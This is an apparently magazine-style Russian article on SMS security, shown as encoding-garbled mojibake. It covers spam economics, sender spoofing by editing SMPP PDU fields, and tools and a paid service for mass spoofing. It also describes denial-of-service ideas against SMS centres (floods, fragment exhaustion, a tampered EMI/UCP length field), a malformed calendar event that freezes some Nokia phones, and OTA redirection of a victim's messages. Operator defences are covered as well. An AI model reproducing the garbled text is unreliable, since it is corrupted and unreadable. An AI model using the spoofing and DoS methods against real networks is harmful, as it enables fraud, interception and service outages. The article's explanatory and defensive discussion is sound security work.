SMS-ññïàì. Ó SMS-ñïàìà åñòü äâå ñòîðîíû
ìåäàëè. Ïîñûëêà íàçîéëèâûõ ñîîáùåíèé, íå òðå-
áóþùèõ íèêàêîé ðåàêöèè îò ïîëüçîâàòåëÿ è âûçû-
âàþùèõ òîëüêî ðàçäðàæåíèå. È ïîñûëêà ñîîáùå-
íèé, îòâåòíàÿ ðåàêöèÿ íà êîòîðûå (ïîñëàòü îáðàò-
íî SMS èëè ïîçâîíèòü íà ïëàòíûé íîìåð) îáõî-
äèòñÿ àáîíåíòó â êîïåå÷êó.

Âûãîäåí ëè ñïàì? Äà. Ñîãëàñíî îäíîìó èç
ðàñ÷åòîâ, îòïðàâêà 100000 SMS-ñîîáùåíèé ñ ïðî-
ñüáîé îáðàòíîãî çâîíêà íà ïëàòíûé íîìåð äàåò
ñïàìåðàì äîõîä â ðàçìåðå 10350 åâðî. Äåñÿòè-
êðàòíîå óâåëè÷åíèå ÷èñëà ñïàìà òàêæå óâåëè÷è-
âàåò è äîõîä — äî 103500 åâðî. Ïîìèìî ýòîãî 
è ñàì îïåðàòîð íåñåò ïîòåðè.

Íàïðèìåð, âîçüìåì ñëåäóþùèå èñõîäíûå
äàííûå:
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— 15 ÌÈËËÈÎÍÎÂ ÌÎÁÈËÜÍÛÕ ÀÁÎÍÅÍÒÎÂ;

— Â ÑÐÅÄÍÅÌ 2 ÑÎÎÁÙÅÍÈß ÑÏÀÌÀ 
Â ÍÅÄÅËÞ ÎÄÍÎÌÓ ÀÁÎÍÅÍÒÓ;

— 5% ÍÅÄÎÂÎËÜÍÛÕ ÊËÈÅÍÒÎÂ ÇÂÎÍßÒ 
Â ÖÅÍÒÐ ÎÁÑËÓÆÈÂÀÍÈß ÀÁÎÍÅÍÒÎÂ
ÎÄÈÍ ÐÀÇ Â ÌÅÑßÖ;

— ÑÒÎÈÌÎÑÒÜ ÎÁÐÀÁÎÒÊÈ ÎÄÍÎÃÎ 
ÒÀÊÎÃÎ ÇÂÎÍÊÀ ÑÎÑÒÀÂËßÅÒ 
7 ÄÎËËÀÐÎÂ ÑØÀ.

Ïðè óêàçàííûõ èñõîäíûõ óñëîâèÿõ åæåãîäíûå ïðÿ-
ìûå ïîòåðè îïåðàòîðà ñâÿçè ñîñòàâÿò â èòîãå... 63
ìèëëèîíà äîëëàðîâ! À âåäü ýòî òîëüêî ïðÿìûå
ðàñõîäû, íå ó÷èòûâàþùèå óõîä àáîíåíòîâ ê êîíêó-
ðåíòàì, óäàð ïî ðåïóòàöèè è ò.ä. Ñïåöèàëèñòû âû-
äåëÿþò 4 òèïà SMS-ñïàìà:

— SPAMMING — ÏÎËÓ×ÅÍÈÅ ÎÄÍÎÃÎ 
ÈËÈ ÍÅÑÊÎËÜÊÈÕ ÍÅÆÄÀÍÍÛÕ
ÑÎÎÁÙÅÍÈÉ. ÏÎËÜÇÎÂÀÒÅËÈ,
ÏÐÈÂÛÊØÈÅ Ê ÇÀÑÎÐÅÍÈÞ ÑÂÎÈÕ
ÏÎ×ÒÎÂÛÕ ßÙÈÊÎÂ È ÍÅ
ÎÁÐÀÙÀÞÙÈÅ ÍÈÊÀÊÎÃÎ ÂÍÈÌÀÍÈß
ÍÀ ÏÐÈÃËÀØÅÍÈß ÊÓÏÈÒÜ «ÂÈÀÃÐÓ» 
ÑÎ ÑÊÈÄÊÎÉ ÈËÈ ÏÎÑÅÒÈÒÜ
ÓÍÈÊÀËÜÍÛÉ ÑÅÌÈÍÀÐ, Ñ ËÅÃÊÎÑÒÜÞ
ÎÒÇÛÂÀÞÒÑß ÍÀ ÑÈÃÍÀË ÌÎÁÈËÜÍÎÃÎ
ÒÅËÅÔÎÍÀ «ÂÀÌ ÏÐÈØËÎ ÑÎÎÁÙÅÍÈÅ.
ÏÐÎ×ÈÒÀÒÜ?». ÒÅÌ ÁÎËÅÅ ×ÒÎ, 
Â ÎÒËÈ×ÈÅ ÎÒ ÝËÅÊÒÐÎÍÍÎÉ ÏÎ×ÒÛ,
ÍÀ ÝÊÐÀÍÅ ÌÎÁÈËÜÍÎÃÎ ÒÅËÅÔÎÍÀ
ÏÐÎÑÒÎ ÍÅÒ ÌÅÑÒÀ, ×ÒÎÁÛ ÑÐÀÇÓ
ÂÛÑÂÅÒÈÒÜ ÀÄÐÅÑ ÎÒÏÐÀÂÈÒÅËß
SMS’ÊÈ. À ÝÒÎ ÂÛÍÓÆÄÀÅÒ
ÏÎËÜÇÎÂÀÒÅËß ÎÒÊÐÛÂÀÒÜ
ÏÐÈØÅÄØÅÅ ÑÎÎÁÙÅÍÈÅ. È ÕÎÒß ÐßÄ
ÒÅËÅÔÎÍÎÂ (ÍÀÏÐÈÌÅÐ, MOTOROLA)
ÎÁËÀÄÀÅÒ ÔÓÍÊÖÈÅÉ AUTOREAD, 
ÝÒÎ ÂÑÅ ÐÀÂÍÎ ÍÅ ÑÍÈÌÀÅÒ
ÏÐÎÁËÅÌÛ ÍÅÄÎÂÎËÜÑÒÂÀ
ÍÅÏÐÎØÅÍÍÛÌÈ ÑÎÎÁÙÅÍÈßÌÈ. 
È ÍÅ ÑÒÎÈÒ ÑÁÐÀÑÛÂÀÒÜ ÑÎ Ñ×ÅÒÎÂ,
×ÒÎ, ÍÀÏÐÈÌÅÐ, Â ÑØÀ SMS
ÎÏËÀ×ÈÂÀÞÒÑß ÊÀÊ ÎÒÏÐÀÂÈÒÅËÅÌ,
ÒÀÊ È ÏÎËÓ×ÀÒÅËÅÌ.

— FLOODING — ÏÎËÓ×ÅÍÈÅ ÎÃÐÎÌÍÎÃÎ
ÏÎÒÎÊÀ SMS-ÑÎÎÁÙÅÍÈÉ 
Ñ ÐÀÇËÈ×ÍÛÌÈ ÀÄÐÅÑÀÌÈ
ÎÒÏÐÀÂÈÒÅËÅÉ. Â ÝÒÎÌ 
È ÏÐÅÄÛÄÓÙÅÌ ÑËÓ×ÀßÕ ÎÏÅÐÀÒÎÐ
ÈÌÅÅÒ ÊÎÍÒÐÀÊÒ Ñ ÏÎÑÒÀÂÙÈÊÎÌ
ÊÎÍÒÅÍÒÀ, È ÏÐÈ ÝÒÎÌ ÇÀ ÎÒÊÀÇ ÎÒ
ÏÐÈÍßÒÈß SMS ÎÏÅÐÀÒÎÐ-ÏÎËÓ×ÀÒÅËÜ
ÏËÀÒÈÒ ØÒÐÀÔ, À ÒÀÊÆÅ ÌÎÆÅÒ ÁÛÒÜ
ÎÁÂÈÍÅÍ Â ÐÀÑÑÛËÊÅ ÑÏÀÌÀ.

— FAKING — SMS ÏÎÑÛËÀÅÒÑß 
Ñ ÏÎÄÑÒÀÂÍÎÃÎ ÀÄÐÅÑÀ SMS-ÖÅÍÒÐÀ.
Â ÝÒÎÌ ÑËÓ×ÀÅ ÎÏÅÐÀÒÎÐ-ÏÎËÓ×ÀÒÅËÜ
ÍÅ Â ÑÎÑÒÎßÍÈÈ ÂÛÑÒÀÂÈÒÜ 

ÏÐÀÂÈËÜÍÛÉ Ñ×ÅÒ È ÂÛÍÓÆÄÅÍ
ÏËÀÒÈÒÜ «ÈÇ ÑÂÎÅÃÎ ÊÀÐÌÀÍÀ».

— SPOOFING — ÑÏÀÌ ÑÎÄÅÐÆÈÒ
ÏÎÄÌÅÍÍÛÉ ÀÄÐÅÑ SMS-ÈÑÒÎ×ÍÈÊÀ,
×ÒÎ ÏÐÈÂÎÄÈÒ Ê ÏÎÄÊËÞ×ÅÍÈÞ 
Ê ÐÎÓÌÈÍÃÓ È ÏÎÒÅÐÅ ÄÅÍÅÃ ÑÎ
ÑÒÎÐÎÍÛ ÎÏÅÐÀÒÎÐÀ ÈËÈ, Â ÕÓÄØÅÌ
ÑËÓ×ÀÅ, ÑÎ ÑÒÎÐÎÍÛ
ÏÎÄÑÒÀÂËÅÍÍÎÃÎ ÀÁÎÍÅÍÒÀ.

Ëåãêî ëè îñóùåñòâèòü ïîäìåíó àäðåñîâ â SMS-ñî-
îáùåíèè? Ýëåìåíòàðíî. Âî-ïåðâûõ, ýòî ìîæíî
ñäåëàòü ÷åðåç web-øëþç. Âî-âòîðûõ, ñàìè ïðîòî-
êîëû âçàèìîäåéñòâèÿ ñ SMSC íå î÷åíü çàùèùåíû
îò ïîääåëêè, íàïðèìåð, óæå íå ðàç óïîìÿíóòûé
ïðîòîêîë SMPP. Ïåðåäà÷à êîðîòêèõ ñîîáùåíèé â
ðàìêàõ SMPP îñóùåñòâëÿåòñÿ ñ ïîìîùüþ ïàêåòîâ,
íàçûâàåìûõ PDU (protocol data units). Òåëî äàííûõ
PDU ìîæåò âûãëÿäåòü ñëåäóþùèì îáðàçîì:

'service_type', () ... 00

'source_addr_ton', (2) ... 02

'source_addr_npi', (8) ... 08

'source_addr', (555) ... 35 35 35 00

'dest_addr_ton', (1) ... 01

'dest_addr_npi', (1) ... 01

'dest_addr', (555555555) 

... 35 35 35 35 35 35 35 35 35 00

'esm_class', (0) ... 00

'protocol_id', (0) ... 00

'priority_flag', (0) ... 00

'schedule_delivery_time', () ... 00

'validity_period', () ... 00

'registered_delivery', (0) ... 00

'replace_if_present_flag', (0) ... 00

'data_coding', (0) ... 00

'sm_default_msg_id', (0) ... 00

'sm_length', (5) ... 0F

'short_message', (Hello) ... 48 65 6C 6C 6F'

Çëîóìûøëåííèêó íå ñîñòàâëÿåò áîëüøîãî òðóäà
ìîäèôèöèðîâàòü ïîëå source_addr è òåì ñàìûì
ïîäìåíèòü àäðåñ îòïðàâèòåëÿ ñîîáùåíèÿ. Ïîäìå-
íèòü àäðåñ öåíòðà SMSC ñëîæíåå, íî òîæå âîçìîæ-
íî. Îñîáåííî ó÷èòûâàÿ, ÷òî îïåðàòîðû ðåäêî çàíè-
ìàþòñÿ çàùèòîé ÎÊÑ7, è ìíîãèì êîìïàíèÿì, êîòî-
ðûå ïðåäëàãàþò ðàñøèðåííûå ñåðâèñû, ïðåäëàãà-
åòñÿ ïðÿìîé äîñòóï ê ÎÊÑ7. À òàê êàê îíè ÷àñòî èìå-
þò èíòåðôåéñ è â èíòåðíåòå, òî âåðîÿòíîñòü îñóùå-
ñòâèòü êàêóþ-íèáóäü ãàäîñòü òîëüêî âîçðàñòàåò.

Åñëè íåò æåëàíèÿ çàíèìàòüñÿ «ðó÷íîé» ðàáî-
òîé, òî ìîæíî âîñïîëüçîâàòüñÿ ëèáî ãîòîâûìè óòè-
ëèòàìè (êñòàòè, èõ ìîæíî ëåãêî íàïèñàòü ñàìèì —
áèáëèîòåêà äëÿ ðàáîòû ñ SMPP âõîäèò, íàïðèìåð, 
â Delphi), ëèáî ïîèñêàòü íà ïðîñòîðàõ Ñåòè ñîîòâåò-
ñòâóþùèå ðåñóðñû. Óæå íà ïåðâîé ñòðàíèöå ðåçóëü-
òàòîâ ïîèñêà Google  òû íàâåðíÿêà íàéäåøü ññûëêó
íà óòèëèòó SMS Spoof äëÿ Palm OS (îíà ïîçâîëÿåò
ïîñûëàòü ñôàëüñèôèöèðîâàííûå ñîîáùåíèÿ ïî
ïðîòîêîëó EMI/UCP) è ñàéò www.smsspoofing.com, êî-

òîðûé ïîçâîëÿåò ðàññûëàòü ñôàëüñèôèöèðîâàííûå
SMS â ìàññîâîì ìàñøòàáå (îïëàòà îðãàíèçóåòñÿ
÷åðåç PayPal, çîíà îõâàòà — 170 ñòðàí).

Äëÿ áîðüáû ñ ýòîé íàïàñòüþ ïîäîéäóò ñëå-
äóþùèå ñïîñîáû:

— ÇÂÎÍÎÊ ÀÁÎÍÅÍÒÀ, ÏÎËÓ×ÈÂØÅÃÎ
ÑÏÀÌ, Â ÑËÓÆÁÓ ÏÎÄÄÅÐÆÊÈ. 
ÍÎ Â ÐÎÑÑÈÈ ÝÒÎ ÏÐÀÊÒÈ×ÅÑÊÈ 
ÍÅ ÐÀÁÎÒÀÅÒ.

— ÁËÎÊÈÐÎÂÀÍÈÅ ÀÄÐÅÑÀ ÍÀ SMSC 
ÈËÈ STP Ñ ÏÎÌÎÙÜÞ ÁÅËÎÃÎ 
È ×ÅÐÍÎÃÎ ÑÏÈÑÊÀ
ÀÂÒÎÐÈÇÎÂÀÍÍÛÕ/ÍÅÀÂÒÎÐÈÇÎÂÀÍÍÛ
Õ ÓÄÀËÅÍÍÛÕ «ÏÎÑËÀÍÖÅÂ» 
(ÊÀÊ ESME, ÒÀÊ È MAP/SCCP-ÀÄÐÅÑÎÂ).

— ÔÈËÜÒÐÀÖÈß ÑÎÄÅÐÆÈÌÎÃÎ ÏÎ
ÊËÞ×ÅÂÛÌ ÑËÎÂÀÌ È ÄÐÓÃÈÌ, ÁÎËÅÅ
ÈÍÒÅËËÅÊÒÓÀËÜÍÛÌ, ÑÏÎÑÎÁÀÌ.
ÍÀÏÐÈÌÅÐ, ÑÈÑÒÅÌÀ SLIMIT-C
ÊÎÌÏÀÍÈÈ NEC ÐÀÁÎÒÀÅÒ 
ÏÎ ÏÐÈÍÖÈÏÓ ÂÛßÂËÅÍÈß 
È ÁËÎÊÈÐÎÂÀÍÈß ÑÎÎÁÙÅÍÈÉ, 
Â ÊÎÒÎÐÛÕ ÂÑÒÐÅ×ÀÞÒÑß ÑÑÛËÊÈ 
ÍÀ ÑÀÉÒÛ, ÐÅÊËÀÌÈÐÓÞÙÈÅ ÒÅ 
ÈËÈ ÈÍÛÅ ÏÐÎÄÓÊÒÛ È ÓÑËÓÃÈ. ÁÀÇÀ
ÒÀÊÈÕ URL ÎÁÍÎÂËßÅÒÑß ÅÆÅ×ÀÑÍÎ.

— ÊÎÍÒÐÎËÜ ÏÐÅÂÛØÅÍÈß ÏÎÐÎÃÎÂÎÃÎ
×ÈÑËÀ SMS-ÑÎÎÁÙÅÍÈÉ. ÏÎ ÒÀÊÎÌÓ
ÏÐÈÍÖÈÏÓ ÄÅÉÑÒÂÓÅÒ ßÏÎÍÑÊÀß
ÊÎÌÏÀÍÈß NTT DOCOMO, ÊÎÒÎÐÀß
ÈÑÏÎËÜÇÓÅÒ ÄËß ÁÎÐÜÁÛ ÑÎ ÑÏÀÌÎÌ
ÏÐÎÑÒÎÅ ÎÃÐÀÍÈ×ÅÍÈÅ — 
100 ÑÎÎÁÙÅÍÈÉ Â ÄÅÍÜ ÎÒ ÎÄÍÎÃÎ
ÏÎËÜÇÎÂÀÒÅËß. ÏÐÅÂÛØÅÍÈÅ ÝÒÎÃÎ
×ÈÑËÀ ÏÐÈÂÎÄÈÒ Ê ÎÒÊÀÇÓ
ÍÀÐÓØÈÒÅËÞ Â ÎÊÀÇÀÍÈÈ ÓÑËÓÃ. 
Â BELL CANADA ÒÀÊÆÅ ÐÅÀËÈÇÎÂÀÍ
ÌÅÕÀÍÈÇÌ ÁËÎÊÈÐÎÂÀÍÈß ÏÅÐÅÄÀ×È
ÏÐÈ ÏÐÅÂÛØÅÍÈÈ ÎÏÐÅÄÅËÅÍÍÎÃÎ
×ÈÑËÀ SMPP-ÑÎÎÁÙÅÍÈÉ ÎÒ ESME. 
È, ÍÅÑÌÎÒÐß ÍÀ ÒÎ, ×ÒÎ 
ESME-ÏÐÈËÎÆÅÍÈß ÌÎÃÓÒ
ÃÅÍÅÐÈÐÎÂÀÒÜ ÄÎ ÍÅÑÊÎËÜÊÈÕ ÑÎÒÅÍ
SMS’ÎÊ Â ÑÅÊÓÍÄÓ, ÌÍÎÃÈÅ ÊÎÌÏÀÍÈÈ
ÍÅ ÏÎÇÂÎËßÞÒ ÏÅÐÅÄÀÂÀÒÜ ÑÂÛØÅ
40-50 SMS Â ÑÅÊÓÍÄÓ. ÏÎÌÈÌÎ ÇÀÙÈÒÛ
ÎÒ ÑÏÀÌÀ, ÒÀÊÎÅ ÎÃÐÀÍÈ×ÅÍÈÅ
ÏÎÇÂÎËßÅÒ ÇÀÙÈÒÈÒÜÑß 
È ÎÒ DOS-ÀÒÀÊ, ÂÛÐÀÆÅÍÍÛÕ 
Â ÏÎÑÛËÊÅ ÁÎËÜØÎÃÎ ÏÎÒÎÊÀ
ÑÎÎÁÙÅÍÈÉ, ÍÀÐÓØÀÞÙÈÕ
ÐÀÁÎÒÎÑÏÎÑÎÁÍÎÑÒÜ ÑÅÒÈ.

Â ñëó÷àå ñ ëîêàëüíûì ñïàìîì (â ðàìêàõ îäíîãî
îïåðàòîðà ÷åðåç ïðîòîêîë SMPP) áëîêèðîâàòü åãî
ìîæíî íà óðîâíå SMS-öåíòðà, ïðè íàëè÷èè ñîîò-
âåòñòâóþùåé âîçìîæíîñòè. Â ñëó÷àå, åñëè ñîîá-
ùåíèå ïðèõîäèò èç ñåòè äðóãîãî îïåðàòîðà (íàïðè-
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ìåð, ðîóìèíãîâîãî), òî ñ åãî ñòîðîíû SMS òàêæå
ïîñûëàåòñÿ ÷åðåç SMSC, à âîò âíóòðè ñåòè ïîëó÷à-
òåëÿ îíî ïðîõîäèò ÷åðåç MSC è çàòåì íàïðÿìóþ,
ìèíóÿ ëîêàëüíûé SMSC, íàïðàâëÿåòñÿ íà ìîáèëü-
íûé òåëåôîí ïîëó÷àòåëÿ. Äëÿ ðåøåíèÿ ýòîé çàäà-
÷è íåîáõîäèìî êîíòðîëèðîâàòü ÎÊÑ7. Ïðè÷åì
áëîêèðîâàòü ýòîò ïðîòîêîë íåâîçìîæíî — áåç íå-
ãî íàðóøèòñÿ âñÿ ðàáîòà ñåòè. Íåîáõîäèìî óìåòü
ôèëüòðîâàòü ÎÊÑ7. Äëÿ ðåàëèçàöèè ýòîé çàäà÷è
ìîæíî èñïîëüçîâàòü èíòåãðàöèþ STP (íàïðèìåð,
Cisco ITP) ñ âíåøíèìè àíòèñïàìîâûìè ðåøåíèÿ-
ìè. Ê ÷èñëó òàêèõ ðåøåíèé ìîæíî îòíåñòè Logi-
caCMG, Openmind Networks, eServ Global èëè Fer-
ma SAS (SMS Anti-Spam Screening).

SAS — ýòî ìåæñåòåâîé ýêðàí äëÿ ôèëüòðàöèè
SMS â ðåàëüíîì âðåìåíè, ðàçðåøàþùèé èëè áëî-
êèðóþùèé ñîîáùåíèÿ, ïîñûëàåìûå èëè ïðèíèìàå-
ìûå ëþáûì èç àáîíåíòîâ ìîáèëüíîãî îïåðàòîðà. Â
êà÷åñòâå êðèòåðèåâ îòñå÷åíèÿ ñïàìà èñïîëüçóþòñÿ:

— ÊËÞ×ÅÂÛÅ ÑËÎÂÀ;
— ÀÄÐÅÑ ÎÒÏÐÀÂÈÒÅËß;
— IMSI ÏÎËÓ×ÀÒÅËß;
— ×ÈÑËÎ ÎÒÏÐÀÂËßÅÌÛÕ ÀÁÎÍÅÍÒÎÌ

ÑÎÎÁÙÅÍÈÉ;
— ÝÂÐÈÑÒÈ×ÅÑÊÈÉ ÀÍÀËÈÇ;
— «×ÅÐÍÛÉ»/«ÁÅËÛÉ» ÑÏÈÑÎÊ.

ïàðà ôôðàç îî DDoS. Ïåðâîå, ÷òî ïðèõîäèò íà óì,
ðàçìûøëÿÿ î SMS DoS'å — ýòî ñãåíåðèðîâàòü
îãðîìíûé ïîòîê êîðîòêèõ ñîîáùåíèé, êîòîðûå äîë-
æíû «çàâàëèòü» öåíòð SMSC. Ýòó òåìó äîñòàòî÷íî
äàâíî îáñóæäàþò ñïåöèàëèñòû, à ïîñëå ïîÿâëåíèÿ â
íîÿáðå ïðîøëîãî ãîäà ñòàòüè «Exploiting Open Fun-
ctionality in SMS-Capable Cellular Networks» øóìèõà
ïîäíÿëàñü âíîâü. Êòî-òî ãîâîðèò, ÷òî â ñòàòüå íàïè-
ñàíà ïðàâäà, êòî-òî óòâåðæäàåò, ÷òî ýòî «ãíèëàÿ
ñåíñàöèÿ», è íà ïðàêòèêå ðåàëèçîâàòü îïèñàííûå â
ñòàòüå ìåòîäû íåâîçìîæíî (èëè îíè íå ñðàáîòàþò). 

Íî ôàêò åñòü ôàêò: ïîñûëêà áîëüøîãî ÷èñëà
ñîîáùåíèé ìîæåò âûçâàòü îïðåäåëåííûå ïðîáëå-
ìû â ðàáîòå SMSC. Êàê ìèíèìóì ïîòîìó, ÷òî
SMSC ëèöåíçèðóåòñÿ ïî ÷èñëó ñîîáùåíèé â ñåêóí-
äó, è ïðåâûøåíèå îïðåäåëåííîãî ïîðîãà íå ïîçâî-
ëèò SMSC îáðàáàòûâàòü íîâûå ñîîáùåíèÿ. Ìîæíî
âûäâèíóòü åùå îäíó ãèïîòåçó, êîòîðóþ íà ïðàêòè-
êå íå ïðîâåðÿëè. Åñëè ïðèìåíèòü èäåþ àòàêè «Ping
of Death» (ïîñûëêà áîëüøîãî ÷èñëà ïåðåêðûâàþ-
ùèõñÿ ôðàãìåíòîâ ïî ïðîòîêîëó ICMP, ñîâîêóïíàÿ
äëèíà êîòîðûõ ïðåâûøàåò ìàêñèìàëüíûé ðàçìåð
IP-ïàêåòà â 64 êèëîáàéòà), òî ðàáîòîñïîñîáíîñòü
SMSC ìîæåò áûòü òàêæå íàðóøåíà. È åùå îäíà ãè-
ïîòåçà — ïîñûëêà ðàçáèòûõ íà ôðàãìåíòû «äëèí-
íûõ» SMS-ñîîáùåíèé, êîòîðûå áóäóò õðàíèòüñÿ â
SMSC, ïîêà îí íå ïîëó÷èò âñå ôðàãìåíòû. Åñëè
îäíîãî èç ôðàãìåíòîâ «ïî ñëó÷àéíîñòè» íå õâàòèò,
è ÷èñëî òàêèõ «äëèííûõ» SMS'îê áóäåò çíà÷èòåëü-
íûì, òî SMSC òàêæå ìîæåò áûòü âûâåäåí èç ñòðîÿ.

Åñòü òàêæå ñòîéêîå ïîäîçðåíèå, ÷òî ïðîòî-
êîëû äëÿ îáðàáîòêè SMS ðàçðàáàòûâàëèñü áåç
ó÷åòà òðåáîâàíèé áåçîïàñíîñòè, è ìàíèïóëÿöèÿ

ïîëÿìè SMS-ñîîáùåíèé ìîæåò ïðèâåñòè ê ïå-
÷àëüíûì ïîñëåäñòâèÿì. Íàïðèìåð, ñîîáùåíèå
«hello» àáîíåíòó ñ òåëåôîíîì 66677789 â ðàìêàõ
ïðîòîêîëà EMI/UCP áóäåò âûãëÿäåòü ñëåäóþùèì îá-
ðàçîì: ̂ B01/00045/O/30/66677789///1//////68656C6C6F/CE^C.
Âòîðîå ïîëå (00045) îïðåäåëÿåò äëèíó ïàêåòà.
Åñëè SMSC «äîâåðÿåò» äàííîìó ïîëþ è íå ïåðå-
ïðîâåðÿåò åãî, òî èçìåíåíèå çíà÷åíèÿ â íåì ïî-
çâîëÿåò ðåàëèçîâàòü àòàêó «ïåðåïîëíåíèå áóôå-
ðà». Èíòåðåñíûé ýôôåêò ìîæåò âîçíèêíóòü, åñëè
ìîäèôèöèðîâàòü òðåòüå ïîëå «òèï îïåðàöèè» (O
— äëÿ îïåðàöèè, R — äëÿ ðåçóëüòàòà) è ÷åòâåðòîå
ïîëå «îïåðàöèÿ» (íàïðèìåð, 30 — ïåðåäà÷à ñîîá-
ùåíèÿ). Îòñóòñòâèå «çàùèòû îò äóðàêà» ìîæåò
ïðèâåñòè ê íàðóøåíèþ ðàáîòîñïîñîáíîñòè SMSC.

Àíàëîãè÷íûå ïðîáëåìû ìîãóò âîçíèêíóòü ñ
òåëåôîíîì, ó êîòîðîãî îáû÷íî íå õâàòàåò «ìîç-
ãîâ» íà ãðàìîòíóþ îáðàáîòêó âõîäÿùèõ ñîîáùå-
íèé. Íàïðèìåð, åñëè îïðåäåëåííûì îáðàçîì
ñôîðìèðîâàòü ñîáûòèå äëÿ êàëåíäàðÿ íà íåêîòî-
ðûõ ìîäåëÿõ Nokia, òî òåëåôîí çàâèñàåò «íàìåð-
òâî» è «ñïàñòè» åãî ìîæíî òîëüêî ïîëíîé ïåðå-
ïðîøèâêîé. Ãëàâíîå â äàííîé DoS-àòàêå — óêà-
çàòü íåñóùåñòâóþùåå âðåìÿ, íàïðèìåð, 25 ÷àñîâ
44-ãî ÷èñëà 13-ãî ìåñÿöà.

Çàùèòèòüñÿ îò ïåðå÷èñëåííûõ âûøå íàïà-
ñòåé íå ñïîñîáåí íè àáîíåíò, íè äàæå îïåðàòîð.
Òàê êàê âñÿ ëîãèêà îáðàáîòêè SMS-ïðîòîêîëîâ
ðåàëèçóåòñÿ âíóòðè ìîáèëüíîãî òåëåôîíà èëè
SMSC, òî îñòàåòñÿ òîëüêî óïîâàòü íà òî, ÷òî ðàç-
ðàáîò÷èêè âïëîòíóþ çàéìóòñÿ äàííîé ïðîáëå-
ìîé. Íåóìåíèå îáðàáàòûâàòü âõîäíûå äàííûå è
íåäîîöåíêà âîïðîñîâ áåçîïàñíîñòè ìîæåò äîðî-
ãî îáîéòèñü ðåïóòàöèè ïðîèçâîäèòåëåé ìîáèëü-
íûõ òåëåôîíîâ.

Åùå îäèí ñïîñîá íàðóøèòü ðàáîòîñïîñîá-
íîñòü SMS-ñåðâèñà — îðãàíèçîâàòü êëàññè÷åñêóþ
DoS-àòàêó íà SMSC. Ó÷èòûâàÿ, ÷òî îí ÿâëÿåòñÿ
îáû÷íûì IP-ïðèëîæåíèåì, ðåàëèçîâàòü ýòó çàäà-
÷ó — äåëî íåñëîæíîå. Íî è çàùèòà îò òàêèõ àòàê
íå ñîñòàâëÿåò áîëüøîãî òðóäà — ìîæíî èñïîëüçî-
âàòü êàê ñïåöèàëèçèðîâàííûå ðåøåíèÿ ïî îòðà-
æåíèþ DoS è DDoS-àòàê, òàê è ìåõàíèçìû îáíàðó-
æåíèÿ àíîìàëèé â ñåòåâîì îáîðóäîâàíèè.

È, êîíå÷íî æå, íåëüçÿ çàáûâàòü ïðî ìåõà-
íèçì OTA, êîòîðûé ïîçâîëÿåò óäàëåííî èçìåíÿòü
ëþáûå íàñòðîéêè ìîáèëüíîãî òåëåôîíà. Ñ åãî ïî-
ìîùüþ ìîæíî èçìåíèòü àäðåñ SMSC, è çëîóìû-
øëåííèê ïîëó÷èò äîñòóï êî âñåé ïåðåïèñêå èíòå-
ðåñóþùåãî åãî àáîíåíòà (ðàçóìååòñÿ, îí äîëæåí
èìåòü äîñòóï ê íîâîìó SMSC). À ìîæíî ñäåëàòü
òàê, ÷òî òåëåôîí âîîáùå ïåðåñòàíåò êóäà-ëèáî
çâîíèòü è ïðåâðàòèòñÿ â êðàñèâóþ èãðóøêó, êîòî-
ðóþ òàê ëþáÿò ìàëåíüêèå äåòè.

SMS-ââèðóñû. Î ïðîáëåìå SMS-âèðóñîâ ìíî-
ãèå ãîâîðÿò, íî ìàëî êòî ïîíèìàåò, ÷òî ýòî òàêîå.
Ïî áîëüøîìó ñ÷åòó, SMS-âèðóñîâ â èõ èñêîííîì
ïîíèìàíèè íå ñóùåñòâóåò. Ïîêà íå ïîÿâèëîñü íè
îäíîé ñàìîðàçìíîæàþùåéñÿ ïðîãðàììû, êîòîðàÿ
áû èñïîëüçîâàëà SMS â êà÷åñòâå êàíàëà ñâîåãî
ðàñïðîñòðàíåíèÿ. Áûë Cabir, êîòîðûé ðàñïðîñòðà-

íÿëñÿ ÷åðåç Bluetooth, èñïîëüçóÿ äûðó â îïåðàöè-
îííîé ñèñòåìå Symbian. Áûë Duts, áûë Brador...
Ïîòîì ïîøëà ÷åðåäà òðîÿíöåâ äëÿ ìîáèëüíûõ
ïëàòôîðì (êàê ïðàâèëî, Symbian, èçðåäêà Win-
dows CE/Mobile). Íî âñå ýòî íå âèðóñû. 

Îò÷àñòè ê ðàçðÿäó âèðóñîâ ìîæåò áûòü îòíå-
ñåò Comwarrior, êîòîðûé ìîã ðàñïðîñòðàíÿòüñÿ êàê
÷åðåç Bluetooth, òàê è ÷åðåç MMS, ðàññûëàÿ ñåáÿ
ïî àäðåñíîé êíèãå, õðàíÿùåéñÿ â ìîáèëüíîì òåëå-
ôîíå. Íî âñå-òàêè, ê ñ÷àñòüþ, òåõíîëîãèÿ SMS ïî-
õîæå íå ñïîñîáíà «ðîäèòü» íàñòîÿùèé SMS-âèðóñ
(õîòÿ êòî çíàåò, ÷òî ìîæíî ñäåëàòü ñ ïîìîùüþ
OTA-ìåõàíèçìîâ), êîòîðûé áû ñòàë äåéñòâèòåëü-
íî áîëüøîé ïðîáëåìîé äëÿ ìèðîâîãî ñîîáùåñòâà.
Âåäü â îòëè÷èå îò Symbian èëè ôóíêöèîíàëüíîñòè
MMS, òåõíîëîãèÿ SMS ïîääåðæèâàåòñÿ ëþáûì
ìîáèëüíûì òåëåôîíîì, äàæå ñàìûì äåøåâûì.
Îäíàêî è áåç âèðóñîâ SMS ÿâëÿåòñÿ áîëüøîé ãî-
ëîâíîé áîëüþ — ñïàì, DoS è ò.ä.

áäèòåëüíû, ííî ááåççàùèòíû. Ìû ðàññìîòðåëè
òîëüêî îäèí àñïåêò áåçîïàñíîñòè SMS — ïåðåäà-
÷ó ÷åðåç ESME ïî ñåòè ÎÊÑ7 ìîáèëüíîìó àáîíåí-
òó. Íî ïðè ýòîì ìû ñîâñåì íå êîñíóëèñü òàêîé òå-
ìû, êàê áåçîïàñíîñòü ÎÊÑ7, êîòîðàÿ òàêæå ïðå-
äîñòàâëÿåò çëîóìûøëåííèêàì ìíîæåñòâî ñïîñî-
áîâ ñîâåðøåíèÿ ïðåñòóïíûõ êîìïüþòåðíûõ äåé-
ñòâèé. Ìû òàêæå íå ðàññìîòðåëè ïðîáëåìó SMS-
óãðîç íåïîñðåäñòâåííî ñ ìîáèëüíîãî òåëåôîíà.
Íàïðèìåð, SMS-ñïàì ìîæåò áûòü ðåàëèçîâàí
âðó÷íóþ (õîòÿ ìàññîâûì åãî íå íàçîâåøü) èëè ñ
ïðèìåíåíèåì ñðåäñòâ àâòîìàòèçàöèè ýòîãî ïðî-
öåññà (ñïåöèàëüíûå ñêðèïòû). Íî äàííûé âàðèàíò
ïðàêòè÷åñêè íèêîãäà è íèêåì íå èñïîëüçóåòñÿ,
